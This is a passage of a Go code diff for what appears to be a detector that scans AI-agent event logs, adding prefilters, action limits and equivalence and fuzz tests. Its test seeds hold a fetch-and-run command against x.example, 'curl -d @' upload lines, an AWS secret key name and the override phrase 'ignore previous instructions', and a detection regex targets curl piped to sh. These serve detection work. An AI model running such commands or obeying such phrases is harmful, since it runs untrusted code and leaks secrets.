t.Fatalf("variant %d: error %v, %s %v\n%s", vi, gotErr, which, wantErr, p.expr)+ }+ if wantErr == nil && !reflect.DeepEqual(gotVal.Value(), wantVal.Value()) {+ t.Fatalf("variant %d: %v, %s %v\n%s", vi, gotVal, which, wantVal, p.expr)+ }+ if *gotDet.ActualCost() != *wantDet.ActualCost() {+ t.Fatalf("variant %d: cost %d, %s %d\n%s", vi, *gotDet.ActualCost(), which, *wantDet.ActualCost(), p.expr)+ }+ compared+++ }+ }+ }+ return compared+}++// randomEvents builds n events from the fixtures: each a fixture event with its action and some of+// its strings replaced, drawn from the corpus's actions and fixture strings, in fold-case+// variants, run together, cut, and with invalid UTF-8.+func randomEvents(t testing.TB, rng *rand.Rand, fixtures []asymptoteobserve.Event, n int) []asymptoteobserve.Event {+ t.Helper()+ texts := eventStrings(t, fixtures)+ actions := []string{"", "x.unknown"}+ for _, e := range fixtures {+ actions = append(actions, e.Event.Action)+ }+ slices.Sort(actions)+ actions = slices.Compact(actions)+ text := func() string { return texts[rng.IntN(len(texts))] }+ pick := func() string {+ switch rng.IntN(6) {+ case 0:+ return foldVariants(text())[rng.IntN(4)]+ case 1:+ return text() + " " + text()+ case 2:+ s := text()+ i := rng.IntN(len(s) + 1)+ return s[:i] + "\xff" + s[i:]+ case 3:+ s := text()+ return s[rng.IntN(len(s)+1):]+ }+ return text()+ }+ events := make([]asymptoteobserve.Event, n)+ for i := range events {+ e := copyEvent(t, fixtures[rng.IntN(len(fixtures))])+ mapStrings(reflect.ValueOf(&e).Elem(), func(s string) string {+ if rng.IntN(4) == 0 {+ return pick()+ }+ return s+ })+ if rng.IntN(3) == 0 {+ e.Event.Action = actions[rng.IntN(len(actions))]+ }+ if rng.IntN(5) == 0 {+ e.Command = &asymptoteobserve.CommandInfo{Command: pick()}+ }+ // Lists and strings on either side of the size tiers untracked evaluation uses.+ if rng.IntN(8) == 0 {+ words := []int{10, 17, 65, 257, 1100}[rng.IntN(5)]+ e.Command = &asymptoteobserve.CommandInfo{Command: strings.Repeat("curl -d @"+text()+" ", words)}+ }+ if rng.IntN(8) == 0 {+ n := []int{1023, 1025, 4097, 16385, 65537}[rng.IntN(5)]+ long := strings.Repeat(text()+" x ", n)[:n]+ if rng.IntN(2) == 0 {+ e.Command = &asymptoteobserve.CommandInfo{Command: long}+ } else if e.File != nil {+ e.File.Path = long+ } else {+ e.Message = long+ }+ }+ if e.GenAI != nil && e.GenAI.Tool != nil && e.GenAI.Tool.Call != nil && rng.IntN(3) == 0 {+ e.GenAI.Tool.Call.Result = pick()+ }+ events[i] = e+ }+ return events+}++// agree scans events with every rule both ways, as one log and one event at a time, and fails on+// any difference in findings (their order and evidence included) or in the error. It returns how+// many findings and errors it compared.+func agree(t testing.TB, what string, fast, reference []*CompiledRule, events []asymptoteobserve.Event) (findings, errs int) {+ t.Helper()+ same := func(how string, got, want []Finding, gotErr, wantErr error) {+ t.Helper()+ if fmt.Sprint(gotErr) != fmt.Sprint(wantErr) {+ t.Fatalf("%s, %s: error %v, reference %v", what, how, gotErr, wantErr)+ }+ if !reflect.DeepEqual(got, want) {+ t.Fatalf("%s, %s: %d findings %v, reference %d %v", what, how, len(got), findingRuleIDs(got), len(want), findingRuleIDs(want))+ }+ findings += len(got)+ if gotErr != nil {+ errs+++ }+ }+ got, gotErr := ScanEvents(fast, events)+ want, wantErr := ScanEvents(reference, events)+ same("as one log", got, want, gotErr, wantErr)+ scanner := newEventScanner(singleEventRules(fast))+ singleReference := singleEventRules(reference)+ for i, e := range events {+ what := fmt.Sprintf("event %d (%s) alone", i, e.Event.Action)+ var got []Finding+ gotErr := scanner.scan(&eventInput{event: &e}, func(r int) {+ got = append(got, scanner.rules[r].newFinding([]asymptoteobserve.Event{e}))+ })+ if gotErr != nil {+ got = nil+ }+ want, wantErr := ScanEvents(singleReference, []asymptoteobserve.Event{e})+ same(what, got, want, gotErr, wantErr)+ }+ return findings, errs+}++func findingRuleIDs(fs []Finding) []string {+ ids := make([]string, len(fs))+ for i, f := range fs {+ ids[i] = f.RuleID+ }+ return ids+}++// TestScanAgreesWithReference scans the corpus's fixture events, the same events sanitized as the+// log holds them and spelled in fold-case variants, random events and events whose every string is+// 64 KiB with every rule of the corpus, and requires the findings and errors of the reference+// engine. Running every event against every rule is what tests the action limits: a rule limited+// to the wrong actions misses a fixture of its own.+func TestScanAgreesWithReference(t *testing.T) {+ rules, fast, reference := compiledCorpus(t)+ fixtures := fixtureEvents(t, rules)+ if len(fast) < 50 || len(fixtures) < 500 {+ t.Fatalf("corpus too small to mean anything: %d rules, %d events", len(fast), len(fixtures))+ }+ var sanitized, folded, pessimistic []asymptoteobserve.Event+ big := strings.Repeat("a", asymptoteobserve.DefaultMaxEventBytes)+ for i, e := range fixtures {+ sanitized = append(sanitized, asymptoteobserve.SanitizeEvent(copyEvent(t, e), 64*1024))+ v := copyEvent(t, e)+ mapStrings(reflect.ValueOf(&v).Elem(), func(s string) string { return foldVariants(s)[1+i%3] })+ folded = append(folded, v)+ if i%10 == 0 {+ v := copyEvent(t, e)+ fillStrings(reflect.ValueOf(&v).Elem(), big, 0)+ pessimistic = append(pessimistic, v)+ }+ }+ rng := rand.New(rand.NewPCG(1, 2))+ sets := []struct {+ name string+ events []asymptoteobserve.Event+ findings int+ }{+ {name: "fixtures", events: fixtures},+ {name: "sanitized", events: sanitized},+ {name: "fold-case variants", events: folded},+ {name: "random", events: randomEvents(t, rng, fixtures, 3000)},+ {name: "64 KiB strings", events: pessimistic},+ }+ t.Run("sets", func(t *testing.T) {+ for i := range sets {+ t.Run(sets[i].name, func(t *testing.T) {+ t.Parallel()+ sets[i].findings, _ = agree(t, sets[i].name, fast, reference, sets[i].events)+ })+ }+ })+ findings, events := 0, 0+ for _, set := range sets {+ findings += set.findings+ events += len(set.events)+ }+ limited := 0+ for _, r := range fast {+ if r.match.actions != nil {+ limited+++ }+ }+ t.Logf("%d rules (%d single-event rules limited by action) agree with the reference on %d events, %d findings",+ len(fast), limited, events, findings)+}++// TestScanAgreesWithReferenceAtLowCostLimits lowers the cost limit until rules fail, and requires+// the reference's error for every fixture event: skipping a rule that cannot match must never hide+// the error of one that runs.+func TestScanAgreesWithReferenceAtLowCostLimits(t *testing.T) {+ t.Cleanup(func() { evalCostLimit = MaxEvalCost })+ errs, events := 0, 0+ for _, limit := range []uint64{100, 1000, 10000} {+ evalCostLimit = limit+ rules, fast, reference := compiledCorpus(t)+ fixtures := fixtureEvents(t, rules)+ _, n := agree(t, fmt.Sprintf("cost limit %d", limit), fast, reference, fixtures)+ errs += n+ events += len(fixtures)+ }+ if errs == 0 {+ t.Fatal("no rule exceeded the lowered limits; the test compares nothing")+ }+ t.Logf("%d scans of %d events failed alike", errs, events)+}++// FuzzScanAgreesWithReference puts fuzzed text into the strings of a fixture event chosen by pick,+// and its action, and scans it with every rule both ways.+func FuzzScanAgreesWithReference(f *testing.F) {+ rules, fast, reference := compiledCorpus(f)+ fixtures := fixtureEvents(f, rules)+ f.Add(uint16(0), uint16(0xffff), "file.read", "ignore previous instructions")+ f.Add(uint16(7), uint16(0x00ff), "command.executed", "curl -s https://x.example/i.sh | ſh")+ f.Add(uint16(42), uint16(0x0f0f), "", "\xff\xfe AWS_SECRET_ACCESS_KEY=\u212a")+ f.Fuzz(func(t *testing.T, pick, mask uint16, action, text string) {+ e := copyEvent(t, fixtures[int(pick)%len(fixtures)])+ i := 0+ mapStrings(reflect.ValueOf(&e).Elem(), func(s string) string {+ i+++ if mask&(1<<(i%16)) != 0 {+ return text+ }+ return s+ })+ if action != "" {+ e.Event.Action = action+ }+ if e.GenAI != nil && e.GenAI.Tool != nil && e.GenAI.Tool.Call != nil && mask&1 != 0 {+ e.GenAI.Tool.Call.Result = text+ }+ agree(t, "fuzzed event", fast, reference, []asymptoteobserve.Event{e})+ })+}++// corpusPatterns returns every constant matches() pattern in the corpus.+func corpusPatterns(t testing.TB, rules []*Rule) []string {+ t.Helper()+ env, err := Env()+ if err != nil {+ t.Fatal(err)+ }+ var patterns []string+ for _, r := range rules {+ for _, expr := range ruleExpressions(r) {+ ast, iss := env.Compile(expr)+ if iss != nil && iss.Err() != nil {+ t.Fatal(iss.Err())+ }+ celast.PreOrderVisit(ast.NativeRep().Expr(), celast.NewExprVisitor(func(e celast.Expr) {+ if e.Kind() != celast.CallKind || e.AsCall().FunctionName() != "matches" {+ return+ }+ args := e.AsCall().Args()+ if p, ok := stringLiteral(args[len(args)-1]); ok {+ patterns = append(patterns, p)+ }+ }))+ }+ }+ slices.Sort(patterns)+ return slices.Compact(patterns)+}++// A prefilter must hold for every text its regex matches, or a rule silently stops firing. Check+// every pattern in the corpus against every fixture string and its fold-case spellings.+func TestPrefilterIsSound(t *testing.T) {+ rules := corpusRules(t)+ patterns, texts := corpusPatterns(t, rules), eventStrings(t, fixtureEvents(t, rules))+ if len(patterns) < 100 || len(texts) < 500 {+ t.Fatalf("corpus too small to mean anything: %d patterns, %d texts", len(patterns), len(texts))+ }+ var variants []string+ for _, text := range texts {+ variants = append(variants, foldVariants(text)...)+ }+ slices.Sort(variants)+ variants = slices.Compact(variants)+ var constrained, checked atomic.Int64+ t.Run("patterns", func(t *testing.T) {+ const shards = 8+ for shard := range shards {+ t.Run(fmt.Sprint(shard), func(t *testing.T) {+ t.Parallel()+ for i := shard; i < len(patterns); i += shards {+ p := patterns[i]+ re := regexp.MustCompile(p)+ pf, err := compilePrefilter(p)+ if err != nil {+ t.Fatal(err)+ }+ if pf.op != pfTrue {+ constrained.Add(1)+ }+ for _, v := range variants {+ if re.MatchString(v) {+ checked.Add(1)+ if !pf.holds(canon(v)) {+ t.Errorf("pattern %q matches %q but its prefilter rejects it", p, v)+ }+ }+ }+ }+ })+ }+ })+ t.Logf("%d patterns (%d with a prefilter), %d matching texts checked", len(patterns), constrained.Load(), checked.Load())+}++func FuzzPrefilterIsSound(f *testing.F) {+ for _, p := range corpusPatterns(f, corpusRules(f)) {+ f.Add(p, "please IGNORE prior Instructions")+ }+ f.Add(`(?i)secret`, "my ſecret")+ f.Add(`(?i)\x{212A}ey`, "KEY")+ f.Add(`\x{FFFD}`, "a\xffb")+ f.Fuzz(func(t *testing.T, pattern, text string) {+ re, err := regexp.Compile(pattern)+ if err != nil {+ return+ }+ pf, err := compilePrefilter(pattern)+ if err != nil {+ t.Fatalf("%q compiles but its prefilter does not: %v", pattern, err)+ }+ if re.MatchString(text) && !pf.holds(canon(text)) {+ t.Fatalf("pattern %q matches %q but its prefilter rejects it", pattern, text)+ }+ })+}++func TestPrefilterRejectsAndKeeps(t *testing.T) {+ for _, tc := range []struct {+ pattern, text string+ holds bool+ }{+ {`(?i)(ignore|disregard)\s+(previous|prior)\s+instructions`, "please IGNORE prior Instructions", true},+ {`(?i)(ignore|disregard)\s+(previous|prior)\s+instructions`, "read the file and summarize it", false},+ {`(?i)(ignore|disregard)\s+(previous|prior)\s+instructions`, "ignore the noise", false}, // needs "instructions" too+ {`(?i)secret`, "my ſecret", true}, // ſ folds to s+ {`(?i)key`, "\u212aEY", true}, // the Kelvin sign folds to k+ {`secret`, "SECRET", true}, // a case-sensitive pattern gets a weaker filter, never a wrong one+ {`\x{FFFD}`, "a\xffb", true}, // invalid UTF-8 reads as U+FFFD, as regexp reads it+ {`(?i)\b(curl|wget)\b.{0,20}\|\s*sh`, "CURL x | sh", true},+ {`(?i)\b(curl|wget)\b.{0,20}\|\s*sh`, "make build", false},+ {`(a|b)+c`, "zzz", false}, // one-byte atoms constrain too+ {`(a|b)?c?`, "zzz", true}, // nothing required: always runs+ {`[\x{200B}\x{FEFF}]`, "plain", false}, // 3-byte runes are atoms+ {`[\x{200B}\x{FEFF}]`, "pla\u200bin", true},+ } {+ pf, err := compilePrefilter(tc.pattern)+ if err != nil {+ t.Fatal(err)+ }+ if got := pf.holds(canon(tc.text)); got != tc.holds {+ t.Errorf("%q on %q: prefilter %v, want %v", tc.pattern, tc.text, got, tc.holds)+ }+ if regexp.MustCompile(tc.pattern).MatchString(tc.text) && !tc.holds {+ t.Errorf("%q matches %q: the case is wrong", tc.pattern, tc.text)+ }+ }+}++func TestEventActions(t *testing.T) {+ for _, tc := range []struct {+ expr string+ want []string // nil: not limited+ }{+ {`e.event.action == "file.read"`, []string{"file.read"}},+ {`"file.read" == e.event.action && e.file.path.contains(".env")`, []string{"file.read"}},+ {`e.event.action in ["a", "b"] && e.event.action != "b" && e.file.path != ""`, []string{"a", "b"}},+ {`(e.event.action == "a" || e.event.action == "b") && e.event.action in ["b", "c"] && e.file.path != ""`, []string{"b"}},+ {`e.event.action == "a" && e.event.action == "b"`, []string{}},+ {`e.file.path != "" && e.event.action == "a"`, nil}, // the path is read first+ {`e.event.action == "a" || e.file.path != ""`, nil},+ {`e.event.action == "a" && e.file.path != "" || e.event.action == "b" && e.tool.name != ""`, []string{"a", "b"}},+ {`(e.event.action == "a" && e.file.path != "" || e.event.action == "b") && e.event.action == "b"`, []string{"a", "b"}}, // the || runs a path check first+ {`e.event.action in ["a", "b"] && (e.event.action == "a" && e.file.path != "" || e.event.action == "c") && e.event.action == "a"`, []string{"a"}},+ {`e.event.action == "a" && e.file.path != "" || e.file.path == "x"`, nil},+ {`e.event.action.startsWith("file.")`, nil},+ {`e.event.action in ["a", e.file.path]`, nil},+ {`has(e.event.action) && e.event.action == "a"`, nil},+ {`e.event.kind == "a"`, nil},+ } {+ _, ast, err := compileMatch(tc.expr)+ if err != nil {+ t.Fatalf("%s: %v", tc.expr, err)+ }+ got := eventActions(ast.NativeRep().Expr())+ if (got == nil) != (tc.want == nil) {+ t.Errorf("%s: actions %v, want %v", tc.expr, got, tc.want)+ continue+ }+ var keys []string+ for a := range got {+ keys = append(keys, a)+ }+ slices.Sort(keys)+ if len(keys) != len(tc.want) || !slices.Equal(keys, tc.want) {+ t.Errorf("%s: actions %v, want %v", tc.expr, keys, tc.want)+ }+ }+}++func TestFastEnvIsInstalled(t *testing.T) {+ if fastTypes() == nil {+ env, _ := nativeEnv()+ _, err := newFastAdapter(env)+ t.Fatalf("the indexed event types were not built: %v", err)+ }+ if _, ok := newEventActivation(asymptoteobserve.Event{}).e.(*fastObj); !ok {+ t.Fatal("the event is not bound as an indexed object")+ }+ env, err := Env()+ if err != nil {+ t.Fatal(err)+ }+ if _, ok := env.CELTypeAdapter().(*fastAdapter); !ok {+ t.Fatalf("Env adapts values with %T", env.CELTypeAdapter())+ }+}diff --git a/pkg/asymptoteobserve/threatrules/findings.go b/pkg/asymptoteobserve/threatrules/findings.goindex 215f06b8..8eceecfb 100644--- a/pkg/asymptoteobserve/threatrules/findings.go+++ b/pkg/asymptoteobserve/threatrules/findings.go@@ -125,35 +125,28 @@ func (c *CompiledRule) newFinding(evidence []asymptoteobserve.Event) Finding {// ScanEvents runs every compiled rule over the events and returns all findings, in rule// order. It is the aggregator backing the `beacon scan` command.//-// Single-event rules run event by event, so an event's derived fields (a parsed command line,-// a tool result's text) are computed once for every rule that references them, not once per-// rule, and dropped before the next event. Correlation rules run after, each over the whole-// sequence.+// Single-event rules run event by event through an event scanner (scan.go): only the rules that+// can match an event's action are evaluated, and an event's derived fields (a parsed command line,+// a tool result's text) are computed once for every rule that references them, not once per rule,+// and dropped before the next event. Correlation rules run after, each over the whole sequence.func ScanEvents(rules []*CompiledRule, events []asymptoteobserve.Event) ([]Finding, error) {found := make([][]Finding, len(rules))- for i := range events {- var derived asymptoteobserve.Event- haveDerived := false- for r, rule := range rules {- if rule.steps != nil {- continue- }- event := &events[i]- if rule.derived {- if !haveDerived {- derived, haveDerived = withDerivedFields(events[i]), true- }- event = &derived- }- matched, err := evalDerived(rule.match, *event)+ var single []*CompiledRule+ var at []int // at[k] is the position of single[k] in rules+ for r, rule := range rules {+ if rule.steps == nil {+ single = append(single, rule)+ at = append(at, r)+ }+ }+ if len(single) > 0 {+ scanner := newEventScanner(single)+ for i := range events {+ err := scanner.scan(&eventInput{event: &events[i]}, func(k int) {+ found[at[k]] = append(found[at[k]], single[k].newFinding([]asymptoteobserve.Event{events[i]}))+ })if err != nil {- // Name the rule: an evaluation error (such as one that exceeded MaxEvalCost)- // belongs to the rule, not to the log, and the operator needs to know which to- // remove.- return nil, fmt.Errorf("rule %q: %w", rule.Rule().ID, err)- }- if matched {- found[r] = append(found[r], rule.newFinding([]asymptoteobserve.Event{events[i]}))+ return nil, err}}}diff --git a/pkg/asymptoteobserve/threatrules/matcher.go b/pkg/asymptoteobserve/threatrules/matcher.gonew file mode 100644index 00000000..38b5d5fd--- /dev/null+++ b/pkg/asymptoteobserve/threatrules/matcher.go@@ -0,0 +1,375 @@+package threatrules++import (+ "fmt"++ "github.com/google/cel-go/cel"+ "github.com/google/cel-go/checker"+ celast "github.com/google/cel-go/common/ast"+ "github.com/google/cel-go/common/operators"+ "github.com/google/cel-go/common/types"+)++// matcher is one compiled match expression and the event actions it can be true for.+type matcher struct {+ prog cel.Program+ actions map[string]bool // nil: the expression does not limit the action+ // untracked, when set, is the expression without cost tracking, for events within a tier of+ // sizes where its cost cannot reach the limit (matcher.go).+ untracked *untracked+}++func compileMatcher(expr string) (matcher, error) {+ prog, ast, err := compileMatch(expr)+ if err != nil {+ return matcher{}, err+ }+ env, err := Env()+ if err != nil {+ return matcher{}, err+ }+ u, err := newUntracked(env, ast, evalCostLimit)+ if err != nil {+ return matcher{}, fmt.Errorf("build CEL program: %w", err)+ }+ return matcher{prog: prog, actions: eventActions(ast.NativeRep().Expr()), untracked: u}, nil+}++// excludes reports whether the expression is false for every event with this action.+func (m matcher) excludes(action string) bool {+ return m.actions != nil && !m.actions[action]+}++// eventActions returns the event actions a match expression can be true for, or nil when it does+// not limit the action. Most rules open with `e.event.action == "..."`, and evaluating each of them+// on every event of another action was most of the work of a scan.+//+// A set is returned only when, on an event whose action is outside it, the expression is false+// having evaluated nothing but comparisons of e.event.action with string literals, which cannot+// fail and cost a few units; not evaluating it then changes no result and no error. That holds for:+//+// - a pure comparison: `e.event.action == "x"` either way round, `e.event.action in ["x", "y"]`,+// and || and && of those (actionConstraint);+// - an && chain, read in the order CEL evaluates it, which stops at the first false operand:+// its leading pure comparisons, and the operand after them if that one is limited itself+// (it is the first to run anything else). Nothing after an operand that is not pure is used:+// that operand runs first, and its error (a runtime error, or exceeding MaxEvalCost) would be+// the result;+// - an || whose every operand is limited: each is false in turn, so the whole is.+func eventActions(e celast.Expr) map[string]bool {+ if set, ok := actionConstraint(e); ok {+ return set+ }+ if e.Kind() != celast.CallKind {+ return nil+ }+ switch e.AsCall().FunctionName() {+ case operators.LogicalOr:+ union := map[string]bool{}+ for _, arg := range e.AsCall().Args() {+ set := eventActions(arg)+ if set == nil {+ return nil+ }+ for a := range set {+ union[a] = true+ }+ }+ return union+ case operators.LogicalAnd:+ var actions map[string]bool+ for _, operand := range conjuncts(e, nil) {+ set, pure := actionConstraint(operand)+ if !pure {+ // Not an && (conjuncts flattened those) and not pure: an || or nothing usable.+ set = eventActions(operand)+ }+ if set == nil {+ break+ }+ if actions == nil {+ actions = set+ } else {+ for a := range actions {+ if !set[a] {+ delete(actions, a)+ }+ }+ }+ if !pure {+ break+ }+ }+ return actions+ }+ return nil+}++// conjuncts appends the operands of e's && chain, in evaluation order, or e itself.+func conjuncts(e celast.Expr, out []celast.Expr) []celast.Expr {+ if e.Kind() == celast.CallKind && e.AsCall().FunctionName() == operators.LogicalAnd {+ for _, arg := range e.AsCall().Args() {+ out = conjuncts(arg, out)+ }+ return out+ }+ return append(out, e)+}++// actionConstraint returns the actions e is true for when e only compares e.event.action with+// string literals.+func actionConstraint(e celast.Expr) (map[string]bool, bool) {+ if e.Kind() != celast.CallKind {+ return nil, false+ }+ call := e.AsCall()+ args := call.Args()+ switch call.FunctionName() {+ case operators.LogicalAnd, operators.LogicalOr:+ var out map[string]bool+ for i, arg := range args {+ set, ok := actionConstraint(arg)+ if !ok {+ return nil, false+ }+ switch {+ case i == 0:+ out = set+ case call.FunctionName() == operators.LogicalOr:+ for a := range set {+ out[a] = true+ }+ default:+ for a := range out {+ if !set[a] {+ delete(out, a)+ }+ }+ }+ }+ return out, out != nil+ case operators.Equals:+ if len(args) == 2 {+ if s, ok := stringLiteral(args[1]); ok && isEventAction(args[0]) {+ return map[string]bool{s: true}, true+ }+ if s, ok := stringLiteral(args[0]); ok && isEventAction(args[1]) {+ return map[string]bool{s: true}, true+ }+ }+ case operators.In:+ if len(args) == 2 && isEventAction(args[0]) && args[1].Kind() == celast.ListKind {+ out := map[string]bool{}+ for _, el := range args[1].AsList().Elements() {+ s, ok := stringLiteral(el)+ if !ok {+ return nil, false+ }+ out[s] = true+ }+ return out, true+ }+ }+ return nil, false+}++// isEventAction reports whether e is the field selection e.event.action.+func isEventAction(e celast.Expr) bool {+ if e.Kind() != celast.SelectKind || e.AsSelect().IsTestOnly() || e.AsSelect().FieldName() != "action" {+ return false+ }+ ev := e.AsSelect().Operand()+ if ev.Kind() != celast.SelectKind || ev.AsSelect().IsTestOnly() || ev.AsSelect().FieldName() != "event" {+ return false+ }+ root := ev.AsSelect().Operand()+ return root.Kind() == celast.IdentKind && root.AsIdent() == eventVar+}++func stringLiteral(e celast.Expr) (string, bool) {+ if e.Kind() != celast.LiteralKind {+ return "", false+ }+ s, ok := e.AsLiteral().Value().(string)+ return s, ok+}++// program returns the program to evaluate on the activation's event: untracked where its tier+// lets it, tracked otherwise.+func (m matcher) program(act *eventActivation) cel.Program {+ if m.untracked != nil {+ if s, l, ok := act.tier(); ok && m.untracked.fits[s][l] {+ return m.untracked.prog+ }+ }+ return m.prog+}++// Tracking an evaluation's cost wraps every step of it and was, once the rest of the fast path was+// in place, most of the time a rule took. The cost limit (MaxEvalCost) only has to stop an+// evaluation that would exceed it, and cel-go can bound an expression's cost before it runs: its+// static estimate, given the largest size any string, bytes, list or map it reads can have, is an+// upper bound of the cost the tracker would count. So an expression is evaluated untracked on an+// event when that bound, for sizes the event is within, fits under the limit: tracked, it could+// not have reached the limit, and its result and errors are the same either way.+//+// The bound is only as good as the sizes it is given, so it is used only where every value the+// expression can see is as large as the event's own values or its literals at most:+//+// - every operation is one whose cost cel-go estimates from its inputs' sizes and whose result is+// no larger than its inputs (untrackedOverloads); concatenation, replace, format, join, split+// and anything else that can build a larger string or list keeps the tracker;+// - every comprehension accumulates a bool or a number, so none builds a list or a map;+// - the sizes are a tier at least as large as the event's largest string and list, and as its+// largest literal.+//+// The estimate is worked out for a few tiers of sizes when the expression is compiled, and an event+// takes the smallest tier that holds it; an event beyond every tier is evaluated tracked.+// TestUntrackedCostIsBounded checks the bound against the tracked cost on the corpus, and the+// scan equivalence tests (fastpath_test.go) compare results and errors with tracked evaluation,+// down to cost limits low enough that rules fail.+var (+ stringTiers = [...]int{1 << 10, 4 << 10, 16 << 10, 64 << 10}+ listTiers = [...]int{16, 64, 256, 1024}+)++// untracked is an expression's program without cost tracking, and for each tier of sizes whether+// its estimated cost there fits under the limit.+type untracked struct {+ prog cel.Program+ max [len(stringTiers)][len(listTiers)]uint64 // estimated cost; 0 where a tier is not usable+ fits [len(stringTiers)][len(listTiers)]bool+}++// untrackedOverloads are the operations an expression evaluated untracked may use: cel-go+// estimates the cost of each from the sizes of its inputs (checker/cost.go, as the tracker counts+// it in interpreter/runtimecost.go), and none returns a string, bytes, list or map larger than an+// input. Anything not listed keeps the tracker.+var untrackedOverloads = map[string]bool{+ "logical_and": true, "logical_or": true, "logical_not": true, "not_strictly_false": true,+ "conditional": true,+ "equals": true, "not_equals": true,+ "less_int64": true, "less_uint64": true, "less_double": true, "less_string": true,+ "less_equals_int64": true, "less_equals_uint64": true, "less_equals_double": true, "less_equals_string": true,+ "greater_int64": true, "greater_uint64": true, "greater_double": true, "greater_string": true,+ "greater_equals_int64": true, "greater_equals_uint64": true, "greater_equals_double": true, "greater_equals_string": true,+ "add_int64": true, "subtract_int64": true, "add_double": true, "subtract_double": true,+ "in_list": true, "in_map": true, "index_list": true, "index_map": true,+ "size_string": true, "size_list": true, "size_map": true, "size_bytes": true,+ "string_size": true, "list_size": true, "map_size": true, "bytes_size": true,+ "matches": true, "matches_string": true, "contains_string": true,+ "starts_with_string": true, "ends_with_string": true,+}++// newUntracked returns the untracked program for a checked expression, or nil when no tier lets it+// run untracked.+func newUntracked(env *cel.Env, ast *cel.Ast, limit uint64) (*untracked, error) {+ lit, ok := untrackedShape(ast)+ if !ok {+ return nil, nil+ }+ u := &untracked{}+ usable := false+ for s, maxString := range stringTiers {+ for l, maxList := range listTiers {+ if lit.maxString > maxString || lit.maxList > maxList {+ continue+ }+ est, err := env.EstimateCost(ast, tierSizes{maxString: uint64(maxString), maxList: uint64(maxList)})+ if err != nil || est.Max > limit {+ continue+ }+ u.max[s][l], u.fits[s][l], usable = est.Max, true, true+ }+ }+ if !usable {+ return nil, nil+ }+ // An event within a tier is within every larger one: where its own tier does not fit (its+ // literals are larger than the tier), the smallest larger tier that fits bounds it.+ for s := len(stringTiers) - 1; s >= 0; s-- {+ for l := len(listTiers) - 1; l >= 0; l-- {+ if u.fits[s][l] {+ continue+ }+ for _, next := range [][2]int{{s + 1, l}, {s, l + 1}} {+ if next[0] < len(stringTiers) && next[1] < len(listTiers) && u.fits[next[0]][next[1]] &&+ (!u.fits[s][l] || u.max[next[0]][next[1]] < u.max[s][l]) {+ u.max[s][l], u.fits[s][l] = u.max[next[0]][next[1]], true+ }+ }+ }+ }+ prog, err := env.Program(ast, cel.OptimizeRegex(prefilteredMatches))+ if err != nil {+ return nil, err+ }+ u.prog = prog+ return u, nil+}++// literals are the largest string and the longest list or map an expression writes itself.+type literals struct{ maxString, maxList int }++// untrackedShape reports whether every operation of the expression is in untrackedOverloads and+// every comprehension accumulates a bool or a number, and returns the sizes of its literals.+func untrackedShape(ast *cel.Ast) (literals, bool) {+ native := ast.NativeRep()+ for _, ref := range native.ReferenceMap() {+ for _, id := range ref.OverloadIDs {+ if !untrackedOverloads[id] {+ return literals{}, false+ }+ }+ }+ var lit literals+ ok := true+ celast.PreOrderVisit(native.Expr(), celast.NewExprVisitor(func(e celast.Expr) {+ switch e.Kind() {+ case celast.CallKind:+ // A call the checker left without an overload has nothing to check.+ if ref := native.ReferenceMap()[e.ID()]; ref == nil || len(ref.OverloadIDs) == 0 {+ ok = false+ }+ case celast.ComprehensionKind:+ switch native.GetType(e.AsComprehension().AccuInit().ID()).Kind() {+ case types.BoolKind, types.IntKind, types.UintKind, types.DoubleKind:+ default:+ ok = false+ }+ case celast.LiteralKind:+ switch v := e.AsLiteral().Value().(type) {+ case string:+ lit.maxString = max(lit.maxString, len(v))+ case []byte:+ lit.maxString = max(lit.maxString, len(v))+ }+ case celast.ListKind:+ lit.maxList = max(lit.maxList, len(e.AsList().Elements()))+ case celast.MapKind:+ lit.maxList = max(lit.maxList, len(e.AsMap().Entries()))+ case celast.StructKind:+ // A struct literal is built by the type provider; keep the tracker.+ ok = false+ }+ }))+ return lit, ok+}++// tierSizes tells cel-go's estimator that every string and bytes value is at most maxString long+// and every list and map at most maxList, leaving call costs to cel-go's own model.+type tierSizes struct{ maxString, maxList uint64 }++func (t tierSizes) EstimateSize(n checker.AstNode) *checker.SizeEstimate {+ switch n.Type().Kind() {+ case types.StringKind, types.BytesKind:+ return &checker.SizeEstimate{Min: 0, Max: t.maxString}+ case types.ListKind, types.MapKind:+ return &checker.SizeEstimate{Min: 0, Max: t.maxList}+ }+ return nil+}++func (tierSizes) EstimateCallCost(string, string, *checker.AstNode, []checker.AstNode) *checker.CallEstimate {+ return nil+}diff --git a/pkg/asymptoteobserve/threatrules/prefilter.go b/pkg/asymptoteobserve/threatrules/prefilter.gonew file mode 100644index 00000000..7b599f6b--- /dev/null+++ b/pkg/asymptoteobserve/threatrules/prefilter.go@@ -0,0 +1,286 @@+package threatrules++import (+ "regexp/syntax"+ "slices"+ "strings"+ "unicode"+ "unicode/utf8"+)++// A prefilter is a necessary condition for a regex to match, over the literal strings the text+// must contain: when it does not hold, the regex cannot match and is not run. Rule regexes are+// long case-insensitive alternations with bounded gaps (`(ignore|disregard)\s+...\s+(rules)`),+// the slowest case for Go's regexp, which walks the text rune by rune, case-folding each one; most+// texts contain none of a rule's literals, and a substring search rejects them at memory speed.+// This is RE2's FilteredRE2 idea, derived mechanically from each pattern as it is compiled.+//+// Atoms and text are compared in fold-canonical form: every rune is replaced by the smallest rune+// of its Unicode simple-fold orbit, the equivalence Go's regexp uses for (?i). Canonicalizing is a+// per-rune mapping, so a substring of the text maps to a substring of its canonical form, and two+// runes match under (?i) exactly when their canonical forms are equal. A plain lowercase would not+// do: (?i)s matches ſ (U+017F), which no lowercasing turns into s. Case-sensitive patterns are+// compared the same way, which only makes their prefilter weaker, never wrong.+//+// TestPrefilterIsSound and FuzzPrefilterIsSound check the one property results depend on: a+// regex never matches a text its prefilter rejects.+type prefilter struct {+ op pfOp+ atom string // canonical; op == pfAtom+ subs []*prefilter+}++type pfOp uint8++const (+ pfTrue pfOp = iota // no constraint: the regex must run+ pfAtom // the canonical text contains atom+ pfAnd+ pfOr+)++// maxExact bounds the exact-string sets carried through concatenation and alternation.+const maxExact = 16++var pfAlways = &prefilter{op: pfTrue}++// holds reports whether the prefilter holds for canonical text.+func (p *prefilter) holds(text string) bool {+ switch p.op {+ case pfAtom:+ return strings.Contains(text, p.atom)+ case pfAnd:+ for _, s := range p.subs {+ if !s.holds(text) {+ return false+ }+ }+ return true+ case pfOr:+ for _, s := range p.subs {+ if s.holds(text) {+ return true+ }+ }+ return false+ }+ return true+}++// compilePrefilter derives the prefilter of a pattern, parsed as regexp.Compile parses it.+func compilePrefilter(pattern string) (*prefilter, error) {+ re, err := syntax.Parse(pattern, syntax.Perl)+ if 